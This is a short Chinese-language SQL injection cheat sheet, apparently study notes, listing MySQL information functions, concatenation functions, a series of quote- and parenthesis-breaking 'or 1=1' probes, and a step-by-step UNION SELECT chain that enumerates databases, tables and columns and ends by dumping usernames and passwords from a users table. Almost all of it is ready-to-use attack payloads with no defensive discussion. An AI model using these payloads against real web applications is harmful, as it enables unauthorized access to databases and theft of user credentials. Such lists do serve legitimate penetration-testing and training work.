- 1. version()——MySQL 版本
- 2. user()——数据库用户名
- 3. database()——数据库名
- 4. @@datadir——数据库路径
- 5. @@version_compile_os——操作系统版本
-
- 1. concat(str1,str2,...)——没有分隔符地连接字符串
- 2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- 3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
- 一般用于尝试的语句
-
Ps:–+可以用#替换,url 提交过程中Url 编码后的#为%23
- or 1=1--+
- 'or 1=1--+
- "or 1=1--+
- )or 1=1--+
- ')or 1=1--+
- ") or 1=1--+
- "))or 1=1--+
-
- order by -- + 判断字段数目
-
- union select -- + 联合查询收集信息
-
- id=1′ and 1=2 UNION SELECT 1,2,database() -- + 查询当前数据库
-
- id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata -- +查询所有数据库
-
- id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +查询表名
-
- id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ -- + 查询列名
-
- id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users -- + 查询字段值
-